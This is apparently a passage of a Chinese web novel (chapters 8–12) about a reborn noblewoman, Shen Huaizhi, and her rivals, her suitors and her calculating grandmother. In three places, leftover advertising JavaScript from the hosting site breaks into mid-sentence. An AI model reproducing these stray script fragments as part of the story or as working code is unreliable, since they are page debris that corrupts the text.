似的,那姑娘眉目生出急色,将身旁的姑娘拦在身后,唯恐被她欺负了似,一副护犊子模样道,“怎么,上次欺负阿瑶没欺负够,还想追到这里再来一次?!” 无端端被人指责到脸上的沈怀栀皱眉看过去,开口却是问的冬青,“这位姑娘什么意思?” 冬青尚未回答,那姑娘就语气急躁的回道,“沈怀栀你装什么装?不就是上次和你吵了一架,怎么,这会儿和我装不认识了?” 对方话语连珠,三句话里两句指责一句愤慨,纠纠缠缠扯了半天,沈怀栀终于清楚眼前这位脾气暴躁的姑娘是谁了。 不巧,正是前段日子她过生辰时和她起了冲突的周御史家的三姑娘,不过,什么周三周四姑娘的不是重点,沈怀栀的注意力这会儿全在被她拦在身后的姑娘身上。 如果她眼睛没出问题的话,这个所谓阿瑶,正是日后高居凤位的太后娘娘,也是薛琮经年之后肯动凡心情根深种的李玉瑶。 从未想过自己竟然会在这里看到李玉瑶的沈怀栀,一时间,就这么直愣愣的盯着她看了许久。 或许是她的视线存在感太强烈,李玉瑶神色畏惧的往周三姑娘身后又躲了躲,如梦初醒般语调怯怯的低声开口道,“沈姑娘,好久不见。” “有什么好久不见的!”周三姑娘护着人冷声道,“阿瑶,你上次还没被沈七欺负够吗?怎么,就许她沈七亲近薛世子,其他人就连碰都不能碰一下!” “要知道,出手救你的是薛世子,她沈七还没嫁进永嘉侯府呢,凭什么管来管去,她有这个立场和身份吗?等什么时候她真做了薛世子的未婚妻,成了薛家的当家主母,再来摆架子和我吵和我闹吧!” 这边周三姑娘只凭自己一个人就吵出了一场大戏,旁边李玉瑶偶尔劝上两句,也不过是火上浇油,让眼前这哄闹场面愈发难以平息。 沈怀栀将一切看在眼里,努力去挖掘脑子里的久远记忆,终于,在犄角旮里寻到了答案。 这是早已经过去多年的一桩小事,开端是她生辰宴邀请薛琮被拒,后来便故意找了机会同他在一家酒楼用饭,想着和他趁机说上几句话,如果能得到生辰礼物更好,本不过是这样一件小事,但中间两人在酒楼后院拉扯时,沈怀栀不小心碰到了一位姑娘,本来道歉就好,对方却偏偏不凑巧的跌到了薛琮怀里,当场来了个投怀送抱。 于是,当时亲眼目睹这场面的沈怀栀毫不迟疑的怒了。 被情绪冲昏头脑的年轻姑娘是没有理智的,而没有理智的人行事更是没有分寸没有章法的,这样的沈怀栀如何不会与薛琮起冲突? 事情过去多年,怎么吵起来的吵的什么沈怀栀早已忘了个一干二净,但现在她再回想,想起的是李玉瑶看薛琮时眼中的柔柔水光与万千难以诉说的情意,以及即将跌倒时往对方怀里去的蓄意而为。 人虽没有倒进怀里,只是扯住了袖子,但那姿态也足够亲密暧昧了,至少在年轻的沈怀栀看来,薛琮就是故意的,他明明能躲开,也明明不喜欢被女子近身,却偏偏就在她眼前,上演了这样一出英雄救美。 那时候看到这场面的年轻姑娘是心慌的,因为,这是她喜欢的意中人啊,她如果喜欢他,就决计不能忍受这场面。 所以,她愤怒了,愤怒之后,是和薛琮的矛盾,也和前来寻李玉瑶的周三姑娘起了冲突。 那场景和今日极其相似,都是李玉瑶越劝两人闹得越僵,最后,她的生辰宴不欢而散,回家后的沈怀栀,没等来和薛琮的重修于好,等来了自己的黄粱一梦与迷途知返。 沈怀栀是真的没想到,不过多年前一桩极小的小事,居然预兆了她日后和薛琮之间的结局,她更没想到,自己居然在这么多年前就和李玉瑶有了交集,而非她成为太后之后才将自己视作情敌。 “李、玉、瑶,”沈怀栀轻声念了一句对方的名字,微微笑道,“没想到,会在这里遇到你。” 她还以为,她如今这一生,不会再牵扯薛琮与李玉瑶的半点瓜葛,却未料到,自己早就成了他们两个的牵线人。 造化弄人,不外如是。 9. 第 9 章 “还请沈姑娘不要误会,那日确实是巧合,”李玉瑶有些紧张的解释道,“我与薛世子之间,无半点瓜葛,并非你所想的那样。” “我那时就是不小心跌了一跤,并无其他,若非薛世子伸出援手,只怕伤及颜面,薛世子心善顺手救人,我心中是十分感激的,再不敢做他想……” 仿佛真的生怕她误会似的,李玉瑶又说出了同那日一模一样的言语,沈怀栀看着她,心想,原来那位太后娘娘也有手段如此拙劣的时候。 “阿瑶,你何必怕她,犯不着如此低声下气!”周姑娘拽着人怒气冲冲的道。 如果此时在两人面前的是年轻气盛的沈怀栀,不管李玉瑶的打算是什么,无疑,她都会如愿的,因为,她极其准确的踩在了有些人最在意的软肋上,因爱生怖,因爱生忧,当一个人全心全意都是他人时,毫无疑问,她很有可能被人利用软肋耍得的团团转。 可惜,现在的薛琮早已不是沈怀栀的软肋,甚至于,她反过来觉得可以利用薛琮刺激到自己当年这个尚且年轻的情敌。 毕竟,沈怀栀其人,早已另有所爱。 她对薛琮,或许有怨,或许有情,但这情却决不是男女之情,这怨也不涉及情爱纠葛。 是以,她反而能以旁观者的身份饶有兴致的欣赏起眼前这幅有趣的画面来。 李玉瑶清丽的容颜上是隐忍委屈的模样,“沈姑娘,还请您不要和薛世子置气,当时是我举止不当,引你们生了误会嫌隙,我为此向沈姑娘道歉,还请您大人有大量,原谅我当时的失措。” 不说这话引得周姑娘如何跳脚,倒是沈怀栀被逗得笑出声来。 她笑意盈盈的看向李玉瑶,“李姑娘,其实我一直觉得很奇怪,你三番四次的向我道歉,表达误会之意,到底是以什么身份什么立场开口,而我在李姑娘心里,又是个什么身份处在什么位置,以至于你言语之中,口口声声将薛世子视作我的私物。” “要知道,我和薛世子之间,一无情意二无婚约,本就是互不相干的两个人,你却偏偏要把我们扯在一起,所以,我是真的很想知道,你心里是如何想的。” 沈怀栀这副云淡风轻言笑晏晏的模样,着实有些刺激人,至少李玉瑶被刺激得不轻,面色极其明显的有了变化。 旁边周姑娘大约是被沈怀栀这番话堵住了嘴,正拧着眉头努力思考如何反驳。 不,并不是互不相干,李玉瑶想,永嘉侯太夫人已经打算请人去沈家下聘,而沈姑娘你,也将在不久之后成为薛世子的未婚妻乃至于真正的妻子…… 但这些话李玉瑶不能说,她只能咬紧牙关,攥紧衣袖下的手,即便修剪整齐的指甲已经刺破掌心,却依旧要面上带笑的忍。 “沈姑娘,你应当知晓我并不是那个意思。”李玉瑶低声道,在对方仿佛能看破一切的似笑非笑目光中,摆出柔弱惊惶的姿态,低头示弱。 这么一来,从远处看的话,当真是好一幅跋扈女郎居高临下咄咄逼人的恶行图。 沈怀栀并不意外会在这里看到薛琮,过去那许多年里,无论她是薛琮的追求者未婚妻抑或者妻子,这种被他当场撞破的尴尬场面比比皆是。 似乎大家都认为,只要能让薛琮看到她或发疯或恶毒或行事肆无忌惮的一面,就能动摇她的身份与位置,就能挑拨他们的夫妻关系让他们彼此生出嫌隙,为此,她们乐此不疲的用这种手段来算计她。 起初,她还会在意,几次过后,她就歇了虚伪矫饰的心思。 因为她发现,无论薛琮撞见什么场面,都不曾因为她的那些言行予以痛斥鄙薄或不屑,仿佛她再坏都可以,不得不说,这种错觉也是导致她当年情深不移的根由之一。 后来想想,薛琮从不插手从不评判,盖因这些和他毫无干系,他才不在意眼前那些姑娘是好是坏,也不在意沈怀栀其人是否恶毒跋扈。 她大张旗鼓的追求他时,他对她说的最多的一句话是“沈怀栀,不要得寸进尺”,仿佛她每接近他一分,都玷污了他一分一般,很有几分贞洁烈男的模样。 莫名的,沈怀栀被自己这个想法逗笑了,于是,她就这么在众人的各色视线中,从容自在的笑了个畅快。 所谓女为悦己者容,这里又没有她在乎的人,她当然想怎么随意就怎么随意。 等笑过之后,她视线在李玉瑶与薛琮身上缓缓扫过,颇为诚恳的道,“其实,李姑娘不必花心思请薛世子来的,毕竟,无论我为人恶不恶毒,行事跋扈与否,都和薛公子无关。” “再者说,就算我品性不佳,做坏事也不会做到薛世子身上,反之,我待薛世子向来不错,虽说从前惹人厌烦了些,但也只是姑娘家的一些小心思而已,远不到触怒薛世子的地步。” “你看,与其花心思算计我,倒不如将一腔心意情思都用在讨好薛世子身上,说不定,世子被 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 姑娘的心意感动,你二人就当真有机会能结连理呢?” 毕竟是上辈子晚来的真爱,虽然这辈子早了些,但既然是真爱,说不得现在也能修成正果呢。 沈怀栀笑语晏晏的说完这番话,然而,听完这些的在场诸人,却是没一个能笑出来的。 周姑娘自然是被沈怀栀的大胆言辞惊到,要知道,她自己对薛世子也不是没意思,但因为实在太没可能,所以这点意思尽数化成了针对情敌的敌意,要不然她何至于为了一个李玉瑶屡次三番的同沈怀栀对上,为小跟班出气是一方面,更重要的,自然是替自己出气,沈怀栀只能说是不幸被牵连。 现在,沈怀栀当面戳破李玉瑶那点情思,纵然她立时出言为自己辩解,周姑娘也是不肯信的,要知道,沉溺于情爱的姑娘,怀疑一切是本能。 从前一叶障目,现在被人戳破真相,周姑娘心中的情敌人选立刻多了一个,还是一个依附自己明知道自己心思却背刺自己的下位者,她不气疯了才怪。 在如今的周姑娘眼里,沈怀栀如何已经不重要了,甚至于她连心上人都顾不上,满心只有针对李玉瑶这件事。 至于李玉瑶,此时满心的恼怒委屈与惧怕,她既要向脾气暴躁的周姑娘解释,防着她粗鲁的推搡与质问,又要分心去观察薛世子的反应,一时间忙乱不已,只可惜还未窥见一二,就被周姑娘发觉她的心思与小动作,这下子,说是当场暴跳如雷都不为过,最后,因为到底还要顾及一二姑娘家的颜面,两个人就这么拉扯着拐到连廊那边,再不见踪影。 “居然就这么走了,还以为能看场好戏呢。”沈怀栀有些遗憾的道,仿佛当真打算在这里看上一场有关男女纠葛的大戏。 她的遗憾薛琮半分未感受到,他只是神情冷漠的看着她,“沈怀栀,不要做多余的事。” “多余的事,”沈怀栀品评着这句话,忍不住笑了,“薛世子从前仿佛对我说过许多次这样的话。” “因为是多余的人,所以说多余的话,做多余的事,”她看着眼前这个冷硬又薄凉的男人,慢慢道,“谁让我天生是个不识趣的人呢。” 不,与其说是不识趣,不如说是不讨人喜欢。 她越奢求看重之人的喜欢,就越得不到心中所求,沈怀栀想起她那漫长的一点点煎熬尽少女天真与情思的岁月,脸上笑意渐渐淡去。 说起来,那真的是一段让人很不喜欢的时光呢。 10. 第 10 章 站在沈怀栀身前的薛琮,闻言下意识蹙紧了眉头,即便一语不发,也不能掩盖眉眼间的冷意。 他明显察觉出沈怀栀话语里的意味深长,但却并不想开口去开解她这份自嘲与哀怨,他太清楚眼前这个姑娘是个何等得寸进尺之人了,一旦他有几分松懈,她便会立刻顺杆爬,为他造成更多更大的困扰。 婚事暂且未曾定下,他并不想给自己招惹太多麻烦,即便沈怀栀今天这幅做派当真让人觉得困扰。 还有—— “沈七,我和你之间的事,不要牵扯他人。” 每当薛琮用“沈七”这个称呼唤她,就说明他已经很不高兴且没多少耐心了,一个有别于“沈姑娘”的称呼里是不必说出口的警告之意。 沈怀栀自然没什么多余心情在薛琮面前回忆她早已逝去多年的少女心思和时光,但并不意味着她还愿意像从前那样收敛退让。 “他人?”她微微摇头,一副不赞同的模样,“对薛世子而言,李姑娘何曾是他人呢?” “不过,世子大约是不会明白我这份好意的。”沈怀栀眼含怜悯的道。 不得不说,沈怀栀这番貌似意有所指的高深莫测,着实让薛琮无法理解,他心中生出不好的预感,忍着心烦意乱冷声道,“沈怀栀,不要在这里说些莫名其妙的话。” “莫名其妙吗?”沈怀栀笑了,“好吧,确实有些莫名其妙自作多情了,世子就当我心情不好发疯吧。” “我还有事,就不奉陪了,世子自便。”她随意道。 做够了谜语人之后,沈怀栀施施然起身离开,在经过薛琮身边时,甚至不忘翩翩有礼的福身,一如京中贵女们该有的规范礼仪,却再无往日半分亲近。 她这番做派,在外人看来似乎当真是幡然悔悟不再沉迷儿女情长,尤其是对待薛琮,再无往日执迷不悟。 这样的她,论理是该让有心之人安心的,然而,恰恰相反,有些人更忌惮她了。 “你们信她吗?”聚集着几位贵女的屋子里,有人出声问道。 这个“她”,自然是大家心知肚明的那位。 “就沈七从前那个疯劲儿,你们信吗?”当即有人出言质疑,“要是这么容易就改弦更张,那还是沈七吗?” “看来大家都和我一个想法。” “不过是从前紧追蛮干的手段不奏效,现在改用欲擒故纵了,”有人道,“这种手段我们见的还少吗?” “若薛世子能被这种肤浅手段打动,那也不是薛世子了。” “希望我们沈七姑娘算计落空后别太伤心了,到时候我是很不介意为沈姑娘递手帕擦眼泪的。” 一片哄笑声中,年轻姑娘们亲密相偎,叽叽喳喳的声音宛如春日莺鸣,快活又热闹。 大约是一番笑谈多少纾解了几分昨日马场上被人羞辱的气,几人心气顺了不少,但有些事依旧耿耿于怀。 “诸位,我有个想法,”有人提议道,“既然沈七打算玩儿些不入流的手段,不如我们施以援手,帮沈姑娘验证一下这欲擒故纵之计的效果如何?如此一来,也算是为她与薛公子分忧解难了。” “这倒是个好主意,我很乐意参与。” “那我凑个数吧。”“那我也来!” “既然大家已有共识,那咱们就小小的试一下吧。” 达成共识之后,顷刻间,众人又默契的笑成一团。 *** 沈府,荣辉堂。 “栀姐儿竟然在赛马中赢了明月郡主?”沈老夫人怀疑自己耳朵出了问题,“你确定说的是栀姐儿?” “确实是七姑娘。”李嬷嬷道,“回话的人奴婢仔细问过了,再错不了半分。” “栀姐儿,明月郡主……”沈老夫人摇了摇头,“咱们沈家的姑娘,说是都跟着师父学了骑术,其实不过是半吊子,能骑在马上走几圈儿就差不多了,跟明月郡主这个骑术闻名京中的姑娘比赛,不是我瞧不起自家的姑娘,实在是她们确实没那个本事。” “尤其是栀姐儿,当初跟着师父学骑术,那是七不情八不愿,半点兴趣和慧根都无,就这样一个姑娘,你现在跟我说,她居然赢了明月郡主?我还真得好好琢磨琢磨。” 沈老夫人拨了拨腕上的佛珠,对李嬷嬷道,“来,把传话的人叫来,我倒要好好听听这是怎么一回事儿。” 荣辉堂里,沈老夫人的神情随着下方回话之人的叙述一变再变,等一切讲完,她眉心已然一片凝重。 “行了,你下去吧,”李嬷嬷挥挥手,“七姑娘那厢若是有事,再来回禀。” “明月郡主不会善罢甘休的。”安静的屋内响起独属于年老妇人的冰冷语调,“一个本就无理搅三分惯爱兴风作浪的人,现在被栀姐儿当着那么多人下了面子,焉能不恨?何况康元长公主与卫国公府联姻在即,明月郡主却因栀姐儿颜面尽失,如此丢人现眼,怕是长公主那里也不会轻易抬手放过。” “我们家七姑娘,当真是给我和沈家寻了个大-麻烦,”说着,沈老夫人面色冷淡道,“这次的赏花宴,栀姐儿怕是不能去了。” 旁边李嬷嬷察觉到自家主子心情恶劣,小心翼翼的道,“郡主那里,为着薛世子的缘故,本就三番四次的为难七姑娘,这也是人尽皆知的事,从前便也罢了,如今郡主将与卫国公府的世子定亲,还要这么欺辱咱们家姑娘,本就不占理,且侯府那边太夫人已经有意聘娶七姑娘,若真退让太过,奴婢觉得反而不佳。” 不论换做谁,几次三番的被人欺负到头上,都是不痛快的,就七姑娘那脾气,从前为着体面与大局行事上一忍再忍,如今忍不住,倒也不算太让人意外。 “你当我不明白这个道理?”沈老夫人眉间挂着冷霜,“你以为我是恼怒栀姐儿不懂事沉不住气?不,我是恼她行事没有分寸!” “以老七的聪慧,她本不必将事情闹成现在这个僵局,我以为她这段日子明白事理安分守己了,谁知道脾气还是没拧过来,总是在关键时刻功亏一篑。” “看来,是时候给她个教训了,否则,总有一日,她要因为这个性子吃大亏。” “老夫人真知灼见,”李嬷嬷出言奉承道,“七姑娘确实还需要您好好教导一番。” 沈老夫人没说话,饮了杯清茶压压心中的郁气。 沈家这么多姑娘里,最麻烦的当属老七,这个姑娘的性子从小就不好磨,身上有太多地方像她那个小户出身上不得台面的亲娘,每每总是惹她不喜。 但不得不说,她也确实最有利用价值,是她精心琢磨的为沈家谋事的好棋子。 事实上,老夫人心里的怒意远不如面上多,这么多年的内宅生活,她最清楚该怎么摆弄人心。 就像这次的事,若栀姐儿真忍下来了,那她的心性就太不一般了,要知道,有缺陷的人才好掌控,太过圆滑世故的,反而没有教导的空间。 在老夫人眼里,从前的栀姐儿知分寸识大体是待价而沽的本钱,如今的锋芒毕露依旧有难得的价值,有眼 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 光的人,会知道怎么选珍品的。 但即便如此,也不影响她给孙女一个教训,毕竟,在未达成所愿前,任何横生的枝节都是要被剪除的。 沈府之中,老夫人默默盘算着如何行事,旁边守着的李嬷嬷见外间有婢女传信,上前去耳语一番,带回了一封帖子,“老夫人,吏部尚书陈家着人送了帖子上门。” “陈家?”听到是吏部尚书陈家,沈老夫人立时打起精神,有些讶异的接过帖子翻看,“怎么会是陈家?要知道咱们和尚书府可从无交情。” 说是这么说,但老夫人翻看帖子的眼神却极其热切,如今沈家早不如过往风光,和御前重臣执掌吏部的陈家相比,说是黯淡无光也不为过,若非还有老二这么个重臣为圣人镇守边疆,只怕沈家早就落魄,是以,能有机会和陈家搭上交情的话,老夫人是决计不肯错过机会的。 怀揣着诸多期望与疑惑的老夫人很快看完了帖子,末了,神情有些微妙的道,“原来是为了栀姐儿。” “七姑娘?”李嬷嬷看向主子,“奴婢瞧您的面色,觉得应当不是坏事。” “确实不是坏事。”对着心腹,沈老夫人也是愿意多说两句的,“陈家不是有个多年前送去道观里寄养的孩子吗,那孩子去年下山回京了,手上有盆兰花说是很看重,如今花出了问题,听说栀姐儿养花弄草有一手,便求上门来想救上一救。” “原来如此,”李嬷嬷道,“七姑娘自幼在老太爷身边长大,老太爷那时候爱调弄花草,姑娘确实跟着学了不少东西,现下春芜院里还有许多珍品呢。” “我说前阵子怎么突然差人跑清兰居呢,原来是为了这个,”沈老夫人说着忍不住笑起来,“我还以为她当真是一心置气呢,谁知道醉翁之意不在酒。” 见李嬷嬷有些茫然,心情甚好的老夫人宽容的予以解惑,“这位陈公子,就是平日里和薛世子关系最好来往最多的那位公子,这下明白了吧。” 主子都说得这么清楚了,如何还能不明白,李嬷嬷想了想,由衷的道了一句,“七姑娘巧思。” “在这种事情上,她确实有她母亲的几分聪明谋算。”沈老夫人淡淡的道了一句绝不会在人前说的刻薄言辞。 目光落在手中颇有分量的帖子上,沈老夫人突然道,“陈家,其实也是一个不错的选择。” 永嘉侯府确实珠玉在前,得圣人看重的薛世子也是个颇有价值的金龟婿,但陈家同样不差,四世三公累世富贵不说,自幼养在道观中的孩子回京后也颇得看重,单以姻亲价值而言,二者可谓是不相上下。 若是从前,沈老夫人只怕是一心焦灼同薛家之间未定的婚事,但陈家这封帖子的出现,却突然让她有了不一样的想法。 作为经年历事的长者,有时候只需要一点直觉,就能窥见许多不能为外人道的微妙。 就像今天送到她手上的这封帖子,固然是那位陈公子看重兰花,但再贵重也不过是一盆花而已,本不必这样郑重其事的用代表陈府的拜帖登门,但对方偏偏就是用了,还礼数周全,言辞恳切。 将帖子上的字句再仔细品评一番后,沈老夫人满意的想,她对这位陈公子,印象着实不错。 不管她的猜测是否正确,这都是一个极好的机会。 栀姐儿的运道果然不错,虽说这次去不了康元长公主的赏花宴,但作为慈爱孙女的好祖母,她大可为自家孙女筹办一场属于她的赏花宴。 就是不知道,这次各花入各眼的到底是谁了。 11. 第 11 章 春雨停歇的翌日,天刚亮,沈怀栀就带着人回了京。 这次出门之行她收获颇丰,就是可惜和陈理只见了一面,她倒也没有想和对方亲近的意思,只是想多见几次他生龙活虎精神奕奕的模样。 回到沈府,她人刚到荣辉堂,就被人热情的迎了进去,代表着老夫人心情的李嬷嬷一脸殷勤,可谓是嘘寒问暖关怀备至。 沈怀栀再清楚不过,每当出现这种情况时,就代表着祖母对她又有新算计了,就是不知道这次是为了哪个。 将小青山一行的情况尽数道明之后,得知孙女未曾见到文谦先生的沈老夫人自然是有一点失望的,但因为早就清楚对方是何等人物,想要搭上关系是何等艰难,是以这点失望也是微乎其微。 “暂且见不到就算了,文谦先生何等人物,若不多些耐心与诚意,如何能求得垂青,”沈老夫人温和安慰道,“栀姐儿不必泄气,有道是有志者事竟成,待来日先生知晓了你的真心与诚意,总会愿意见上一见的。” “多谢祖母宽慰,孙女必定继续努力。”沈怀栀道。 至于让心爱的大孙子吃苦受累去日日登门求见?老夫人目前是舍不得的,唯有先让孙女烧热了文谦先生这个冷灶,她才舍得孙子出面结下这份善缘。 总之,以栀姐儿的本事,老夫人坚信,只要她愿意,事情没有办不成的,眼下,还有其他更重要的事。 “你和郡主的事,祖母听说了,”沈老夫人道,“难得你现在骑术精进,想必是暗地里下了苦功夫练习的,虽说意气之争不可取,但你是我沈家的姑娘,出门在外代表着沈家的颜面,此番行事虽有些激进,但好歹没丢了我们沈家的骨气,祖母心里,你这次的行事瑕不掩瑜,还是很值得称道的。” 闻言,沈怀栀压下惊讶,神情有些歉疚的看向沈老夫人,“祖母的话,孙女受之有愧。” 她想,她这位老祖母此次着实有些过于宽容了,甚至于还出言褒奖了她一二,毫无疑问,背后别有算计。 果不其然,一番虚情假意过后,对方图穷匕见。 “这次长公主府的赏花宴栀姐儿你暂时就别去了,”沈老夫人言辞殷殷,“祖母不与你说虚话,长公主府那位郡主,性情一向睚眦必报,你前次惹了她,对方必定是要报复回来的,这次的赏花宴人多且杂,少不得会出些乱子,祖母不愿你牵扯其中被人算计,所以这次就当避风头,咱们暂且退上一步。” “祖母的考量与顾虑孙女知晓了,”沈怀栀笑道,“这次赏花宴本就不是非去不可,我一切都听祖母的安排。” “好孩子,祖母知晓你的委屈,”沈老夫人叹了口气,拍了拍沈怀栀的手,“只有千日做贼的,没有千日防贼的,先等一等,等来日你的婚事定下,再不必受这个委屈。” 在年轻姑娘面前提到婚事对方便必定会脸红这种情况从来都不适用于沈怀栀,就像现在,她听祖母提到自己的婚事,当先第一反应反而是面露难色皱眉为难,不见半分羞涩窘迫。 “祖母,我的婚事……”她迟疑着开口,似是没想好要怎么说一般,含糊其辞道,“怕是……” “你是说,你如今对薛世子死心了这件事?”沈老夫人淡声问道。 “祖母明鉴,”沈怀栀轻声道,“孙女对薛世子的心思,确实与从前不同。” 至于怎么个不同法,却是没说。 “年轻小姑娘的心思啊,说风是风说雨是雨,从前一心一意追着薛世子的人是你,如今改弦更张三心二意的还是你,你要祖母怎么说?”沈老夫人问道,“栀姐儿,你告诉祖母,你到底是怎么想的。” 沈怀栀沉默不语了许久,最后终是一言不发。 见状,沈老夫人露出了然笑意,“你看,当初跪在祖母面前求成全的是你,如今心意不定缄默不言的还是你,祖母对我们栀姐儿也算够宽容大度了吧,之前任性那么久便不提了,时至今日,你心意既已变换,此后行事上就要多些分寸,顾虑一下我沈家姑娘的名声与颜面,祖母不想再看到你重蹈覆辙。” “谨遵祖母教诲,”沈怀栀轻声道,“日后必不敢再有损沈家颜面。” “我知道你是个好的,”沈老夫人不动声色道,“放心,有些事祖母心里有数,目前先静观其变一阵子吧,毕竟凡事欲速则不达。” “总之,婚姻大事,也不是你们小姑娘一腔情思就能解决的,祖母会为你仔细斟酌的。” 听话听音儿,和老夫人的一番虚以为蛇让沈怀栀明白了她的盘算,之前还十分积极想要玉成沈薛两家婚事的祖母,突然就放慢了步调,似是有别的打算。 但无妨,水来土掩兵来将挡,想要利用她成事,也没那么轻而易举。 于是,陪着沈老夫人用过晚膳准备告辞的沈怀栀,就这么猝不及防的迎来了试探。 “对了,有件事差点忘记同你说,陈家那位陈公子昨日送了封拜帖上门,说是想要请你帮忙看一下一盆兰花,你若是有空,记得回下帖子。” 佯装无意间想起的老夫人说话间仔细的盯着孙女的表情与反应,半点异样都不肯放过,果不其然,探出了点不同。 孙女的表情太过复杂,一时间令人难以快速辨明其中情绪,但毫无疑问的是,这两人之间,确实有点什么,至于是什么有多少,就需要她到时候亲眼看上一看了。 *** 沈怀栀拿着帖子回了春芜院。 说实话,收到帖子的她这次和老夫人是一样的惊讶,惊讶于对方的正式和严肃,须知,以他们两人的关系来说,就算陈理有表示感谢的意思,这次也有些过于郑重其事了。 指尖在帖子上轻轻拂过,沈怀栀眉头微皱,她还以为陈理会寻个时间让人直接将兰花送过来,毕竟正大光明的在人前提过,且一盆兰花也算不上私相授受,倒是现在,似乎有些张扬了。 至少与陈理往日行事不符,毕竟,他向来是个做人高调做事低调的性子。 略想了想后,未做迟疑,沈怀栀直接定下了对方登门的日子,不出意料的话,祖母对陈理动了念头,她若不想他牵涉其中,最好速战速决。 于是,康元长公主赏花宴后的隔天,陈理登了沈家的门。 荣辉堂那边来人传话时,沈怀栀正穿着一身旧衣裳在院里整理花草,身上手上沾染了不少泥土等污迹,这里有部分植物是她日后要带走的,因此早早就需要做好水土迁移的准备,以免日后有所损伤。 “陈公子来了多久了?”沈怀栀一边梳洗换衣一边询问来传话的婢女。 婢女回道,“陈公子进门约莫已有两刻钟了。” 闻言,沈怀栀挑了下眉,不愧是她见缝插针的精明祖母,就这么会儿功夫,只怕早就摸清了陈理的底细与脾气。 既然这次要用她做过河卒子,那就让她看一看,这份算计与筹谋会落在谁身上吧。 等沈怀栀人到了荣辉堂,不出意外看到了主宾其乐融融相谈甚欢的场景。 沈老夫人不用说,人老成精久经世故,端起亲和慈爱长辈的做派不过是手到擒来之事,在一心想要拉近关系的陈理面前,更是使出了十二分的手段,是以,不过短短功夫,就收获了对方的尊敬与濡慕。 至于陈理,本就登门有所求,有想要同沈家拉近关系的心思,在应对长辈上更是拿出了长袖善舞的本事,一时间,将沈老夫人哄得同他那位祖母一样格外高兴,只差抱着他喊上一声“乖孙”了。 总之,在两方皆有意交好的情况下,一场会面令彼此满意是再正常不过的结果。 “栀姐儿来了啊,”沈老夫人热情的招呼着自己孙女,“陈公子在这儿已经等了你一会儿了,既是要看兰花,待会儿你便请陈公子去花园里坐坐吧,今日天气好,那里景色也不错,祖母已经让人备好了茶点……” 老夫人若想周到待人,能细致到骨子里,让人贴心至极,这会儿她便是这样待客的,沈怀栀对她的话一一应下,“祖母放心,今日必不会怠慢客人。” “老夫人客气了,”一旁的陈理笑道,“今日本就是我上门叨扰在先,还让您如此费心招待,在下当真是感激不尽。” 陈理那副受宠若惊的姿态显然极大的取悦了此间的主人,老夫人 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 言笑晏晏一番后,终于心满意足的目送两个年轻人离开。 荣辉堂里,一口参茶下肚的沈老夫人轻轻舒了口气,心情愉悦的道,“确实是个难得的好孩子,若是能与我沈家结下缘分,那就再好不过了。” “李嬷嬷,你看这位陈公子如何?”她随口问道。 李嬷嬷认真想了想才道,“为人大方,性情爽朗,家世与容貌都十分优越,是不输薛世子的出色人物。” “是啊,外在条件不输永嘉侯世子,”老夫人笑了笑道,“这二人都是顶好的夫婿人选,只不过,这位陈公子,有一点却是薛世子所不能及的。” “奴婢愚钝,还请老夫人解惑。”李嬷嬷恭敬的道。 “我们这位陈公子啊,看栀姐儿的眼神不一般,”老夫人轻描淡写的道,“虽谈不上情根深种,却显见是有些不同的,就是不知道这点不同,他二人察觉没有。” 末了,她随口吩咐道,“传我的话,待会儿让几位姑娘去花园里转一圈儿,和这位陈公子打个照面。” “我倒要看看,这花园里的花,到底入不入得了惜花之人的眼。” 花园里,凉亭之中,茶水点心等东西一应俱备。 沈怀栀带着人入内坐下,仅同陈理寒暄了两句便将全副心神放到了那盆病恹恹叶子枯黄的兰花之上。 她仔仔细细从里到位观察了一刻钟之后,才缓缓开口道,“茎叶腐烂,叶子枯萎,叶片断面呈暗红,是兰花中较为常见的茎腐病,若是早些出手救治,并不算麻烦,只可惜,这株兰花病况拖了太久,现在差不多算是病入膏肓了,所以才难以施救。” “沈姑娘所说和从前那些花匠所言不谋而合,”陈理无奈道,“原本并不算棘手,只可惜拖了太久,错过了最佳治疗期,以致于现在回天乏力。” “这盆兰花至少要在我这里留上半个月,”沈怀栀抬眼看向眼前的青年,“有点棘手,不好治,我需要时间。” “但凭沈姑娘吩咐。”陈理笑道,“之前知晓救治无望时我已经病急乱投医,现在沈姑娘愿意为此费心费力,我实在是感激不尽。” “那倒不必,”沈怀栀淡声道,“我也是兴趣使然罢了。” “只是,若是这兰花最后没能救回来,还望陈公子不要怨怪我无能。” 闻言,陈理没说话,他只是定定的看着眼前这个姑娘,突然转换了语气和口风,略有些无奈的道,“兰花没救回来的话,七姑娘觉得,我会怪你吗?” 沈怀栀看了他一眼,手上拨弄着枯黄的兰花叶子,一语不发。 “原来我的感觉真的没错,”陈理突然有些做作的叹了口气,“不过一段时间不见,七姑娘就和我生分了,难道我们这个朋友真的做到头了?” 之前在外面交谈时顾忌外人谨守礼节也就罢了,如今对面而坐,沈七还是那副恪守规矩的疏远模样,陈理多少有些不是滋味。 “七姑娘如今待我这么疏远冷淡,不会是因为迁怒吧?” 沈怀栀总算舍得正眼看眼前的陈理,默了一瞬后,才轻声道,“没有迁怒。” 只是与从前时隔太久,如今的情绪又太复杂,她反而不知道该如何面对他而已。 “真的没有迁怒吗?”陈理颇有些怀疑的模样,带着两分笑意道,“我不信。” 你看,他笑起来还是旧日模样,沈怀栀想。 许多年前的少女沈怀栀是不关心陈理这个朋友笑起来如何的,她的心思全都放在站在他身旁的那个人身上,以致于后来努力回想起来,旧日记忆寥寥,引以为憾。 而现在,他坐在她眼前,鲜活生动,有无数姿态供她重温旧梦。 真好啊,她心中叹息一声,人还活着真好。 虽然他只是陈理,并不是陈怀逸。 “兰花我会帮你救活,”最后,沈怀栀出声道,“作为朋友,我有一个希望你能听入耳入心的忠告。” “那请我们七姑娘说来听听,”陈理笑道,“我会认真洗耳恭听的。” “离姓沈的人远一点。” 如果你不想麻烦沾身的话。 12. 第 12 章 “老实说,我听不太明白,”陈理道,“但我清楚,七姑娘这么说一定是为了我好。” “我祖母最近正在操心家中姐妹的婚事,”沈怀栀淡声道,“她老人家心怀远志,期望不凡。” 所以,无心婚嫁的你最好不要出现在沈家人面前,不然,恐招惹是非,陈理想,她约莫就是这个意思。 